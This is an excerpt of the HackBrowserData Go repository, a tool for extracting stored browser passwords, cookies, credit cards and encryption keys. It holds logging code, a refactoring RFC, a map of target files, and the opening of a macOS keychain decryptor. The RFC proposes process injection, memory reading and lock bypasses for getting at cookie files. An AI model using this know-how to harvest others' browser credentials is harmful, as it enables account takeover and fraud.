modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
modernc.org/libc v1.55.3 h1:AzcW1mhlPNrRtjS5sS+eW2ISCgSOLLNyFzRh/V3Qj/U=
modernc.org/libc v1.55.3/go.mod h1:qFXepLhz+JjFThQ4kzwzOjA/y/artDeg+pcYnY+Q83w=
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
modernc.org/sqlite v1.31.1 h1:XVU0VyzxrYHlBhIs1DiEgSl0ZtdnPtbLVy8hSkzxGrs=
modernc.org/sqlite v1.31.1/go.mod h1:UqoylwmTb9F+IqXERT8bW9zzOWN8qwAIcLdzeBZs4hA=
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
================================================
FILE: log/level/level.go
================================================
package level
// Level defines all the available levels we can log at
type Level int32
const (
// DebugLevel is the lowest level of logging.
// Debug logs are intended for debugging and development purposes.
DebugLevel Level = iota + 1
// WarnLevel is used for undesired but relatively expected events,
// which may indicate a problem.
WarnLevel
// ErrorLevel is used for undesired and unexpected events that
// the program can recover from.
ErrorLevel
// FatalLevel is used for undesired and unexpected events that
// the program cannot recover from.
FatalLevel
)
func (l Level) String() string {
switch l {
case DebugLevel:
return "DEBUG"
case WarnLevel:
return "WARN"
case ErrorLevel:
return "ERROR"
case FatalLevel:
return "FATAL"
default:
return "UNKNOWN"
}
}
================================================
FILE: log/log.go
================================================
package log
import (
"github.com/moond4rk/hackbrowserdata/log/level"
)
var (
// defaultLogger is the default logger used by the package-level functions.
defaultLogger = NewLogger(nil)
)
func SetVerbose() {
defaultLogger.SetLevel(level.DebugLevel)
}
func Debug(args ...any) {
defaultLogger.Debug(args...)
}
func Debugf(format string, args ...any) {
defaultLogger.Debugf(format, args...)
}
func Warn(args ...any) {
defaultLogger.Warn(args...)
}
func Warnf(format string, args ...any) {
defaultLogger.Warnf(format, args...)
}
func Error(args ...any) {
defaultLogger.Error(args...)
}
func Errorf(format string, args ...any) {
defaultLogger.Errorf(format, args...)
}
func Fatal(args ...any) {
defaultLogger.Fatal(args...)
}
func Fatalf(format string, args ...any) {
defaultLogger.Fatalf(format, args...)
}
================================================
FILE: log/logger.go
================================================
package log
import (
"fmt"
"io"
stdlog "log"
"os"
"runtime"
"strings"
"sync/atomic"
"github.com/moond4rk/hackbrowserdata/log/level"
)
// NewLogger creates and returns a new instance of Logger.
// Log level is set to DebugLevel by default.
func NewLogger(base Base) *Logger {
if base == nil {
base = newBase(os.Stderr)
}
return &Logger{base: base, minLevel: level.WarnLevel}
}
// Logger logs message to io.Writer at various log levels.
type Logger struct {
base Base
// Minimum log level for this logger.
// Message with level lower than this level won't be outputted.
minLevel level.Level
}
// canLogAt reports whether logger can log at level v.
func (l *Logger) canLogAt(v level.Level) bool {
return v >= level.Level(atomic.LoadInt32((*int32)(&l.minLevel)))
}
// SetLevel sets the logger level.
// It panics if v is less than DebugLevel or greater than FatalLevel.
func (l *Logger) SetLevel(v level.Level) {
if v < level.DebugLevel || v > level.FatalLevel {
panic("log: invalid log level")
}
atomic.StoreInt32((*int32)(&l.minLevel), int32(v))
}
func (l *Logger) Debug(args ...any) {
if !l.canLogAt(level.DebugLevel) {
return
}
l.base.Debug(args...)
}
func (l *Logger) Warn(args ...any) {
if !l.canLogAt(level.WarnLevel) {
return
}
l.base.Warn(args...)
}
func (l *Logger) Error(args ...any) {
if !l.canLogAt(level.ErrorLevel) {
return
}
l.base.Error(args...)
}
func (l *Logger) Fatal(args ...any) {
if !l.canLogAt(level.FatalLevel) {
return
}
l.base.Fatal(args...)
}
func (l *Logger) Debugf(format string, args ...any) {
if !l.canLogAt(level.DebugLevel) {
return
}
l.base.Debug(fmt.Sprintf(format, args...))
}
func (l *Logger) Warnf(format string, args ...any) {
if !l.canLogAt(level.WarnLevel) {
return
}
l.base.Warn(fmt.Sprintf(format, args...))
}
func (l *Logger) Errorf(format string, args ...any) {
if !l.canLogAt(level.ErrorLevel) {
return
}
l.base.Error(fmt.Sprintf(format, args...))
}
func (l *Logger) Fatalf(format string, args ...any) {
if !l.canLogAt(level.FatalLevel) {
return
}
l.base.Fatal(fmt.Sprintf(format, args...))
}
type Base interface {
Debug(args ...any)
Warn(args ...any)
Error(args ...any)
Fatal(args ...any)
}
// baseLogger is a wrapper object around log.Logger from the standard library.
// It supports logging at various log levels.
type baseLogger struct {
*stdlog.Logger
callDepth int
}
func newBase(out io.Writer) *baseLogger {
prefix := "[hack-browser-data] "
base := &baseLogger{
Logger: stdlog.New(out, prefix, stdlog.Lshortfile),
}
base.callDepth = base.calculateCallDepth()
return base
}
// calculateCallDepth returns the call depth for the logger.
func (l *baseLogger) calculateCallDepth() int {
return l.getCallDepth()
}
func (l *baseLogger) prefixPrint(prefix string, args ...any) {
args = append([]any{prefix}, args...)
if err := l.Output(l.callDepth, fmt.Sprint(args...)); err != nil {
_, _ = fmt.Fprintf(os.Stderr, "log output error: %v\n", err)
}
}
func (l *baseLogger) getCallDepth() int {
var defaultCallDepth = 2
pcs := make([]uintptr, 10)
n := runtime.Callers(defaultCallDepth, pcs)
frames := runtime.CallersFrames(pcs[:n])
for i := 0; i < n; i++ {
frame, more := frames.Next()
if !l.isLoggerPackage(frame.Function) {
return i + 1
}
if !more {
break
}
}
return defaultCallDepth
}
func (l *baseLogger) isLoggerPackage(funcName string) bool {
const loggerFuncName = "hackbrowserdata/log"
return strings.Contains(funcName, loggerFuncName)
}
// Debug logs a message at Debug level.
func (l *baseLogger) Debug(args ...any) {
l.prefixPrint("DEBUG: ", args...)
}
// Warn logs a message at Warning level.
func (l *baseLogger) Warn(args ...any) {
l.prefixPrint("WARN: ", args...)
}
// Error logs a message at Error level.
func (l *baseLogger) Error(args ...any) {
l.prefixPrint("ERROR: ", args...)
}
var osExit = os.Exit
// Fatal logs a message at Fatal level
// and process will exit with status set to 1.
func (l *baseLogger) Fatal(args ...any) {
l.prefixPrint("FATAL: ", args...)
osExit(1)
}
================================================
FILE: log/logger_test.go
================================================
package log
import (
"bytes"
"fmt"
"testing"
"github.com/stretchr/testify/assert"
level2 "github.com/moond4rk/hackbrowserdata/log/level"
)
const (
pattern = `^\[hack\-browser\-data] \w+\.go:\d+:`
)
type baseTestCase struct {
description string
message string
suffix string
level level2.Level
wantedPattern string
}
var (
baseTestCases = []baseTestCase{
{
description: "without trailing newline, logger adds newline",
message: "hello, hacker!",
suffix: "",
},
{
description: "with trailing newline, logger preserves newline",
message: "hello, hacker!",
suffix: "\n",
},
}
)
func TestLoggerDebug(t *testing.T) {
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.DebugLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.SetLevel(level2.DebugLevel)
logger.Debug(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerWarn(t *testing.T) {
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.WarnLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Warn(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerError(t *testing.T) {
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.ErrorLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Error(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerFatal(t *testing.T) {
originalOsExit := osExit
defer func() { osExit = originalOsExit }()
for _, tc := range baseTestCases {
tc := tc
tc.level = level2.FatalLevel
message := tc.message + tc.suffix
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, tc.message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
exitCalled := false
exitCode := 0
osExit = func(code int) {
exitCalled = true
exitCode = code
}
logger := NewLogger(newBase(&buf))
logger.Fatal(message)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
assert.True(t, exitCalled)
assert.Equal(t, 1, exitCode)
})
}
}
type formatTestCase struct {
description string
format string
args []interface{}
level level2.Level
wantedPattern string
}
var (
formatTestCases = []formatTestCase{
{
description: "message with format prefix",
format: "hello, %s!",
args: []any{"Hacker"},
},
{
description: "message with format prefix",
format: "hello, %d,%d,%d!",
args: []any{1, 2, 3},
},
{
description: "message with format prefix",
format: "hello, %s,%d,%d!",
args: []any{"Hacker", 2, 3},
},
}
)
func TestLoggerDebugf(t *testing.T) {
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.DebugLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.SetLevel(level2.DebugLevel)
logger.Debugf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerWarnf(t *testing.T) {
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.WarnLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Warnf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerErrorf(t *testing.T) {
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.ErrorLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.Errorf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
})
}
}
func TestLoggerFatalf(t *testing.T) {
originalOsExit := osExit
defer func() { osExit = originalOsExit }()
for _, tc := range formatTestCases {
tc := tc
tc.level = level2.FatalLevel
message := fmt.Sprintf(tc.format, tc.args...)
tc.wantedPattern = fmt.Sprintf("%s %s: %s\n$", pattern, tc.level, message)
t.Run(tc.description, func(t *testing.T) {
var buf bytes.Buffer
exitCalled := false
exitCode := 0
osExit = func(code int) {
exitCalled = true
exitCode = code
}
logger := NewLogger(newBase(&buf))
logger.Fatalf(tc.format, tc.args...)
got := buf.String()
assert.Regexp(t, tc.wantedPattern, got)
assert.True(t, exitCalled)
assert.Equal(t, 1, exitCode)
})
}
}
func TestLoggerWithLowerLevels(t *testing.T) {
// Logger should not log messages at a level
// lower than the specified level.
levels := []level2.Level{level2.DebugLevel, level2.WarnLevel, level2.ErrorLevel, level2.FatalLevel}
ops := []struct {
op string
level level2.Level
logFunc func(*Logger)
expected bool
}{
{"Debug", level2.DebugLevel, func(l *Logger) { l.Debug("hello") }, false},
{"Warn", level2.WarnLevel, func(l *Logger) { l.Warn("hello") }, false},
{"Error", level2.ErrorLevel, func(l *Logger) { l.Error("hello") }, false},
{"Fatal", level2.FatalLevel, func(l *Logger) { l.Fatal("hello") }, false},
}
for _, setLevel := range levels {
for _, op := range ops {
var buf bytes.Buffer
logger := NewLogger(newBase(&buf))
logger.SetLevel(setLevel)
expectedOutput := op.level >= setLevel
exitCalled := false
exitCode := 0
osExit = func(code int) {
exitCalled = true
exitCode = code
}
op.logFunc(logger)
output := buf.String()
if expectedOutput {
assert.NotEmpty(t, output)
} else {
assert.Empty(t, output)
}
if op.op == "Fatal" {
assert.True(t, exitCalled)
assert.Equal(t, 1, exitCode)
}
}
}
}
================================================
FILE: rfc/001-architecture-refactoring.md
================================================
# RFC-001: HackBrowserData Architecture Refactoring
**Author**: moonD4rk
**Status**: Proposed
**Created**: 2025-09-01
**Updated**: 2025-09-01
## Abstract
This RFC analyzes the current architectural issues in the HackBrowserData project and proposes refactoring directions. The core goal of the refactoring is to establish a modular, extensible, and testable architecture while supporting usage as a library that can be imported by other projects.
## Current Issues Analysis
### 1. Limited Encryption Version Support
**Current State**:
- Only supports Chrome v10 (Chrome 80+) AES-GCM encryption format
- Hardcoded "v10" prefix handling logic in the code
- Lacks version detection and dynamic selection mechanism
**Impact**:
- Unable to support data extraction from older browser versions
- Cannot adapt to future browser encryption algorithm upgrades (e.g., v11, v20)
- Chrome is introducing new encryption mechanisms (e.g., App-Bound Encryption in Chrome 127+), which the current architecture struggles to extend
### 2. Scattered Cross-Platform MasterKey Retrieval
**Current State**:
- Windows: Decrypts encrypted_key from Local State via DPAPI
- macOS: Accesses Keychain through security command, derives key using PBKDF2
- Linux: Accesses Secret Service via D-Bus or uses hardcoded "peanuts" salt
**Issues**:
- Each platform implementation is completely independent without a unified interface
- Difficult to add new key retrieval methods
- Code duplication and maintenance challenges
- Chrome on Windows is updating retrieval methods, requiring support for multiple strategies
### 3. Windows Cookie File Access Permission Issues
**Specific Issues**:
- On Windows, browsers lock Cookie files during runtime
- Direct reading may encounter "The process cannot access the file" errors
- Some security software blocks access to Cookie files
**Current Approach Limitations**:
- Simple file copying may fail due to file locking
- Lacks alternative access strategies (e.g., shadow copy, process injection)
- No abstraction for permission elevation or bypass mechanisms
### 4. Coupled Code Architecture
**Problems**:
- CLI logic mixed with core functionality
- Data extraction, decryption, and output are tightly coupled
- Uses global variables and functions, difficult to use as a library
**Specific Impact**:
- Cannot use core functionality independently
- Difficult to unit test
- Code reuse challenges
### 5. Inconsistent Error Handling
**Current State**:
- Some functions return errors, others directly use logging
- Error messages lack context (which browser, data type, platform)
- Cannot distinguish error severity (ignorable vs. fatal errors)
**Impact**:
- Debugging difficulties with insufficient error information
- Cannot implement flexible error handling strategies
- Inconsistent user experience
### 6. Testing and Maintenance Difficulties
**Issues**:
- Depends on real file system and browser installations
- Cannot mock system calls and external dependencies
- Low test coverage
- Adding new features requires modifying multiple code locations
## Architecture Improvement Proposals
### 1. Versioned Encryption Strategies
**Design Approach**:
- Create encryption version interface where each version implements its own detection and decryption logic
- Use registration mechanism to manage all supported versions
- Support both automatic detection and manual version specification
**Key Capabilities**:
- Version Detection: Automatically identify encryption version through data characteristics
- Version Registration: Dynamically register new encryption version implementations
- Priority Control: Try different versions by priority
### 2. Unified MasterKey Retrieval Abstraction
**Design Approach**:
- Define cross-platform MasterKey retrieval interface
- Each platform can have multiple retrieval strategies
- Support strategy chain, trying different methods sequentially
**Windows Strategy Examples**:
- DPAPI Strategy (traditional method)
- App-Bound Strategy (Chrome 127+)
- Cloud Sync Strategy (potential future)
**Key Capabilities**:
- Platform detection and automatic selection
- Strategy priority and fallback mechanisms
- Error handling and logging
### 3. File Access Abstraction Layer
**Design Approach**:
- Create file access interface encapsulating different access strategies
- For Windows Cookie issues, implement multiple access methods
- Provide unified error handling and retry mechanisms
**Windows Cookie Access Strategies**:
- Direct Copy (current method)
- Volume Shadow Copy Service (VSS)
- Memory Reading (from browser process)
- Stream Reading (bypass exclusive locks)
### 4. Layered Package Structure
**Design Principles**:
- Separate public API from internal implementation
- Separate interface definitions from concrete implementations
- Isolate platform-specific code
**Package Structure Plan**:
```
pkg/ # Public API (externally importable)
├── browser/ # Browser interface definitions
├── crypto/ # Encryption interface definitions
└── extractor/ # Data extractor interface definitions
internal/ # Internal implementation (not exposed)
├── browser/ # Browser implementations
├── crypto/ # Encryption algorithm implementations
└── platform/ # Platform-specific implementations
```
### 5. Improved Browser Interface
**Design Goals**:
- Support dependency injection
- Configurable and extensible
- Easy to test
**Core Methods**:
- Configuration settings (profile, crypto provider, etc.)
- Data extraction (support selecting data types)
- Capability queries (supported data types and platforms)
### 6. Unified Error Handling
**Design Approach**:
- Define structured error types
- Include rich context information
- Support error classification and handling strategies
**Error Information Should Include**:
- Operation type
- Browser name
- Data type
- Platform information
- Severity level
- Original error
### 7. Library API Design
**Design Goals**:
- Provide clean client interface
- Support convenient methods for common use cases
- Allow advanced users to customize behavior
**Use Cases**:
- Simple: One-click extraction of all browser data
- Advanced: Custom encryption versions, error handling, data filtering
### 8. Testing Strategy
**Improvement Directions**:
- Use interfaces instead of concrete implementations
- Support dependency injection
- Provide mock implementations
**Test Types**:
- Unit tests: Test independent components
- Integration tests: Test component interactions
- Platform tests: Test platform-specific functionality
## Implementation Recommendations
### Priority Levels
1. **High Priority**:
- Versioned encryption strategies (solve version support issues)
- MasterKey retrieval abstraction (unify cross-platform implementations)
- Windows Cookie access issues (solve permission problems)
2. **Medium Priority**:
- Browser interface refactoring
- Unified error handling
- Basic testing framework
3. **Low Priority**:
- Complete library API
- Advanced feature extensions
- Performance optimizations
### Compatibility Considerations
- Keep CLI backward compatible, internally calling new architecture
- Provide migration documentation
- Gradually deprecate old APIs across versions
## Security Considerations
1. **Minimize Permissions**: Only request necessary system permissions
2. **Memory Safety**: Zero out sensitive data after use
3. **Error Messages**: Avoid leaking sensitive information
4. **Input Validation**: Strictly validate paths and data
## Open Questions
1. **File Access Strategy Selection**: How to automatically select the best file access strategy?
2. **Error Recovery**: How to gracefully recover and continue when encountering partial failures?
3. **Configuration Management**: Should configuration files be supported to control behavior?
4. **Plugin System**: Should user-defined data extractors be supported?
## References
- [Chromium OS Crypt](https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/)
- [Chrome Password Decryption](https://github.com/chromium/chromium/blob/main/components/os_crypt/sync/os_crypt_win.cc)
- [Firefox NSS](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS)
- [Windows File Locking](https://docs.microsoft.com/en-us/windows/win32/fileio/locking-and-unlocking-byte-ranges-in-files)
================================================
FILE: types/types.go
================================================
package types
import (
"fmt"
"os"
"path/filepath"
)
type DataType int
const (
ChromiumKey DataType = iota
ChromiumPassword
ChromiumCookie
ChromiumBookmark
ChromiumHistory
ChromiumDownload
ChromiumCreditCard
ChromiumLocalStorage
ChromiumSessionStorage
ChromiumExtension
YandexPassword
YandexCreditCard
FirefoxKey4
FirefoxPassword
FirefoxCookie
FirefoxBookmark
FirefoxHistory
FirefoxDownload
FirefoxCreditCard
FirefoxLocalStorage
FirefoxSessionStorage
FirefoxExtension
)
var itemFileNames = map[DataType]string{
ChromiumKey: fileChromiumKey,
ChromiumPassword: fileChromiumPassword,
ChromiumCookie: fileChromiumCookie,
ChromiumBookmark: fileChromiumBookmark,
ChromiumDownload: fileChromiumDownload,
ChromiumLocalStorage: fileChromiumLocalStorage,
ChromiumSessionStorage: fileChromiumSessionStorage,
ChromiumCreditCard: fileChromiumCredit,
ChromiumExtension: fileChromiumExtension,
ChromiumHistory: fileChromiumHistory,
YandexPassword: fileYandexPassword,
YandexCreditCard: fileYandexCredit,
FirefoxKey4: fileFirefoxKey4,
FirefoxPassword: fileFirefoxPassword,
FirefoxCookie: fileFirefoxCookie,
FirefoxBookmark: fileFirefoxData,
FirefoxDownload: fileFirefoxData,
FirefoxLocalStorage: fileFirefoxLocalStorage,
FirefoxHistory: fileFirefoxData,
FirefoxExtension: fileFirefoxExtension,
FirefoxSessionStorage: UnsupportedItem,
FirefoxCreditCard: UnsupportedItem,
}
func (i DataType) String() string {
switch i {
case ChromiumKey:
return "ChromiumKey"
case ChromiumPassword:
return "ChromiumPassword"
case ChromiumCookie:
return "ChromiumCookie"
case ChromiumBookmark:
return "ChromiumBookmark"
case ChromiumHistory:
return "ChromiumHistory"
case ChromiumDownload:
return "ChromiumDownload"
case ChromiumCreditCard:
return "ChromiumCreditCard"
case ChromiumLocalStorage:
return "ChromiumLocalStorage"
case ChromiumSessionStorage:
return "ChromiumSessionStorage"
case ChromiumExtension:
return "ChromiumExtension"
case YandexPassword:
return "YandexPassword"
case YandexCreditCard:
return "YandexCreditCard"
case FirefoxKey4:
return "FirefoxKey4"
case FirefoxPassword:
return "FirefoxPassword"
case FirefoxCookie:
return "FirefoxCookie"
case FirefoxBookmark:
return "FirefoxBookmark"
case FirefoxHistory:
return "FirefoxHistory"
case FirefoxDownload:
return "FirefoxDownload"
case FirefoxCreditCard:
return "FirefoxCreditCard"
case FirefoxLocalStorage:
return "FirefoxLocalStorage"
case FirefoxSessionStorage:
return "FirefoxSessionStorage"
case FirefoxExtension:
return "FirefoxExtension"
default:
return "UnsupportedItem"
}
}
// Filename returns the filename for the item, defined by browser
// chromium local storage is a folder, so it returns the file name of the folder
func (i DataType) Filename() string {
if fileName, ok := itemFileNames[i]; ok {
return fileName
}
return UnsupportedItem
}
// TempFilename returns the temp filename for the item with suffix
// eg: chromiumKey_0.temp
func (i DataType) TempFilename() string {
const tempSuffix = "temp"
tempFile := fmt.Sprintf("%s_%d.%s", i.Filename(), i, tempSuffix)
return filepath.Join(os.TempDir(), tempFile)
}
// IsSensitive returns whether the item is sensitive data
// password, cookie, credit card, master key is unlimited
func (i DataType) IsSensitive() bool {
switch i {
case ChromiumKey, ChromiumCookie, ChromiumPassword, ChromiumCreditCard,
FirefoxKey4, FirefoxPassword, FirefoxCookie, FirefoxCreditCard,
YandexPassword, YandexCreditCard:
return true
default:
return false
}
}
// FilterSensitiveItems returns the sensitive items
func FilterSensitiveItems(items []DataType) []DataType {
var filtered []DataType
for _, item := range items {
if item.IsSensitive() {
filtered = append(filtered, item)
}
}
return filtered
}
// DefaultFirefoxTypes returns the default items for the firefox browser
var DefaultFirefoxTypes = []DataType{
FirefoxKey4,
FirefoxPassword,
FirefoxCookie,
FirefoxBookmark,
FirefoxHistory,
FirefoxDownload,
FirefoxCreditCard,
FirefoxLocalStorage,
FirefoxSessionStorage,
FirefoxExtension,
}
// DefaultYandexTypes returns the default items for the yandex browser
var DefaultYandexTypes = []DataType{
ChromiumKey,
ChromiumCookie,
ChromiumBookmark,
ChromiumHistory,
ChromiumDownload,
ChromiumExtension,
YandexPassword,
ChromiumLocalStorage,
ChromiumSessionStorage,
YandexCreditCard,
}
// DefaultChromiumTypes returns the default items for the chromium browser
var DefaultChromiumTypes = []DataType{
ChromiumKey,
ChromiumPassword,
ChromiumCookie,
ChromiumBookmark,
ChromiumHistory,
ChromiumDownload,
ChromiumCreditCard,
ChromiumLocalStorage,
ChromiumSessionStorage,
ChromiumExtension,
}
// item's default filename
const (
fileChromiumKey = "Local State"
fileChromiumCredit = "Web Data"
fileChromiumPassword = "Login Data"
fileChromiumHistory = "History"
fileChromiumDownload = "History"
fileChromiumCookie = "Cookies"
fileChromiumBookmark = "Bookmarks"
fileChromiumLocalStorage = "Local Storage/leveldb"
fileChromiumSessionStorage = "Session Storage"
fileChromiumExtension = "Secure Preferences" // TODO: add more extension files and folders, eg: Preferences
fileYandexPassword = "Ya Passman Data"
fileYandexCredit = "Ya Credit Cards"
fileFirefoxKey4 = "key4.db"
fileFirefoxCookie = "cookies.sqlite"
fileFirefoxPassword = "logins.json"
fileFirefoxData = "places.sqlite"
fileFirefoxLocalStorage = "webappsstore.sqlite"
fileFirefoxExtension = "extensions.json"
UnsupportedItem = "unsupported item"
)
================================================
FILE: types/types_test.go
================================================
package types
import (
"fmt"
"os"
"strconv"
"testing"
"github.com/stretchr/testify/assert"
)
func TestDataType_FileName(t *testing.T) {
for _, item := range DefaultChromiumTypes {
assert.Equal(t, item.Filename(), item.filename())
}
for _, item := range DefaultFirefoxTypes {
assert.Equal(t, item.Filename(), item.filename())
}
for _, item := range DefaultYandexTypes {
assert.Equal(t, item.Filename(), item.filename())
}
}
func TestDataType_TempFilename(t *testing.T) {
asserts := assert.New(t)
testCases := []struct {
item DataType
expected string
}{
{ChromiumKey, "Local State"},
{ChromiumPassword, "Login Data"},
{ChromiumLocalStorage, "Local Storage/leveldb"},
{FirefoxSessionStorage, "unsupported item"},
{FirefoxLocalStorage, "webappsstore.sqlite"},
{YandexPassword, "Ya Passman Data"},
{YandexCreditCard, "Ya Credit Cards"},
}
for _, tc := range testCases {
expectedPrefix := tc.expected + "_" + strconv.Itoa(int(tc.item)) + ".temp"
actualPath := tc.item.TempFilename()
asserts.Contains(actualPath, expectedPrefix, "TempFilename should contain the correct prefix for "+tc.expected)
asserts.Contains(actualPath, os.TempDir(), "TempFilename should be in the system temp directory for "+tc.expected)
}
}
func TestDataType_IsSensitive(t *testing.T) {
asserts := assert.New(t)
testCases := []struct {
item DataType
expected bool
}{
{ChromiumKey, true},
{ChromiumPassword, true},
{ChromiumBookmark, false},
}
for _, tc := range testCases {
asserts.Equal(tc.expected, tc.item.IsSensitive(), fmt.Sprintf("IsSensitive for %v should be %v", tc.item, tc.expected))
}
}
func TestFilterSensitiveItems(t *testing.T) {
asserts := assert.New(t)
testCases := []struct {
items []DataType
expected int
}{
{[]DataType{ChromiumKey, ChromiumBookmark, ChromiumPassword}, 2},
{[]DataType{ChromiumBookmark, ChromiumHistory}, 0},
}
for _, tc := range testCases {
filteredItems := FilterSensitiveItems(tc.items)
asserts.Len(filteredItems, tc.expected, "FilterSensitiveItems should return the correct number of sensitive items")
for _, item := range filteredItems {
asserts.True(item.IsSensitive(), "Filtered items should be sensitive")
}
}
}
func (i DataType) filename() string {
switch i {
case ChromiumKey:
return fileChromiumKey
case ChromiumPassword:
return fileChromiumPassword
case ChromiumCookie:
return fileChromiumCookie
case ChromiumBookmark:
return fileChromiumBookmark
case ChromiumDownload:
return fileChromiumDownload
case ChromiumLocalStorage:
return fileChromiumLocalStorage
case ChromiumSessionStorage:
return fileChromiumSessionStorage
case ChromiumCreditCard:
return fileChromiumCredit
case ChromiumExtension:
return fileChromiumExtension
case ChromiumHistory:
return fileChromiumHistory
case YandexPassword:
return fileYandexPassword
case YandexCreditCard:
return fileYandexCredit
case FirefoxKey4:
return fileFirefoxKey4
case FirefoxPassword:
return fileFirefoxPassword
case FirefoxCookie:
return fileFirefoxCookie
case FirefoxBookmark:
return fileFirefoxData
case FirefoxDownload:
return fileFirefoxData
case FirefoxLocalStorage:
return fileFirefoxLocalStorage
case FirefoxHistory:
return fileFirefoxData
case FirefoxExtension:
return fileFirefoxExtension
case FirefoxCreditCard:
return UnsupportedItem
default:
return UnsupportedItem
}
}
================================================
FILE: utils/byteutil/byteutil.go
================================================
package byteutil
var OnSplitUTF8Func = func(r rune) rune {
if r == 0x00 || r == 0x01 {
return -1
}
return r
}
================================================
FILE: utils/chainbreaker/chainbreaker.go
================================================
package chainbreaker
// Logic ported from https://github.com/n0fate/chainbreaker
import (
"bytes"
"crypto/cipher"
"crypto/des"
"encoding/base64"
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"os"
"strings"
"time"
"unicode/utf8"
)
const (
atomSize = 4
headerSize = 20
schemaSize = 8
tableHeaderSize = 28
keyBlobRecordHeaderSize = 132
keyBlobStructSize = 24
genericPasswordHeaderSize = 22 * 4
blockSize = 8
keyLength = 24
metadataOffsetAdjustment = 0x38
keyBlobMagic uint32 = 0xFADE0711
keychainSignature = "kych"
secureStorageGroup = "ssgp"
keychainLockedSignature = "[Invalid Password / Keychain Locked]"
)
const (
cssmDBRecordTypeAppDefinedStart uint32 = 0x80000000
cssmGenericPassword = cssmDBRecordTypeAppDefinedStart + 0
cssmMetadata = cssmDBRecordTypeAppDefinedStart + 0x8000
cssmDBRecordTypeOpenGroupStart uint32 = 0x0000000A
cssmSymmetricKey = cssmDBRecordTypeOpenGroupStart + 7
)
const dbBlobSize = 92
var magicCMSIV = []byte{0x4a, 0xdd, 0xa2, 0x2c, 0x79, 0xe8, 0x21, 0x05}
type Keychain struct {
buf []byte
header applDBHeader
tableList []uint32
tableEnum map[uint32]int
dbblob dbBlob
baseAddr int
dbKey []byte
keyList map[string][]byte
}
type applDBHeader struct {
Signature [4]byte
Version uint32
HeaderSize uint32
SchemaOffset uint32
AuthOffset uint32
}
type applDBSchema struct {
SchemaSize uint32
TableCount uint32
}
type tableHeader struct {
TableSize uint32
TableID uint32
RecordCount uint32
Records uint32
IndexesOffset uint32
FreeListHead uint32
RecordNumbersCount uint32
}
type dbBlob struct {
StartCryptoBlob uint32
TotalLength uint32
Salt []byte
IV []byte
}
type keyBlobRecordHeader struct {
RecordSize uint32
}
type keyBlob struct {
Magic uint32
StartCryptoBlob uint32
TotalLength uint32
